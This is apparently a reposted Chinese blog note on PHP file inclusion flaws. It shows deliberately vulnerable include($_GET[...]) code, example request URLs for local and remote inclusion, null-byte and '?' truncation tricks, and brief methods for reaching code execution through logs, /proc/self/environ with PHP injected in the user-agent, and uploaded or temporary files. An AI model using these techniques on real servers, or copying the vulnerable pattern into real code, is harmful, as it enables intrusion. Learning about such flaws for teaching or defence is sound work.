php 中可以通过include()、require()、include_once()、require_once() 函数包含文件,被包含的文件无论类型都会被执行。 当allow_url_include 配置为on 时,则允许包含远程文件,反之为off 时则只允许包含本地文件。另外一个比较关键的配置为open_basedir,这个选项限定了可以包含的目录。

1、代码示例:

 
 
 
 
 
PHP
 
1
2
3
<?php
include($_GET['test']);
?>

本地文件:192.168.1.8/test.php?test=a.jpg

php 文件包含笔记(转)

远程文件:192.168.1.8/test.php?http://www.chuhades.com/index.php

php 文件包含笔记(转)

2、截断

可以通过截断来突破一些字符拼接。 代码:

 
 
 
 
 
PHP
 
1
2
3
4
<?php
$file=$_GET['test'];
include($file.'abcd');
?>

这个代码如果你直接192.168.1.8/test.php?test=a.jpg,实际包含的是“a.jpgabcd”,文件不存在,会出错。

php 文件包含笔记(转)

因为php 的内核是c 实现的,所以可以通过0 字节进行字符串截断。

192.168.1.8/test.php?test=a.jpg%00

php 文件包含笔记(转)

包含远程文件时也可以通过“?”把后面的代码解释为URL 的参数,加以截断。

php 文件包含笔记(转)

3、本地文件包含的利用技巧

(1)包含用户上传的文件。 (2)包含data:// 的 error_log、access_log。 一般步骤:httpd.conf —-> log (5)包含/proc/self/environ 文件。 在user-agent 中注入php 代码。 (6)包含上传的临时文件。

http://www.exploit-db.com/download_pdf/17010

(7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。

4、其他函数 fopen() fread() ……

5、实例

http://www.wooyun.org/bug.php?action=list&subtype=49

http://www.wooyun.org/bug.php?action=list&subtype=15

 

相关文章:

  • 2022-12-23
  • 2022-01-15
  • 2021-07-14
  • 2019-05-19
  • 2021-06-25
  • 2021-10-12
  • 2021-11-06
  • 2021-09-29
猜你喜欢
  • 2021-11-15
  • 2021-12-17
  • 2021-11-24
  • 2022-12-23
  • 2021-11-02
相关资源
相似解决方案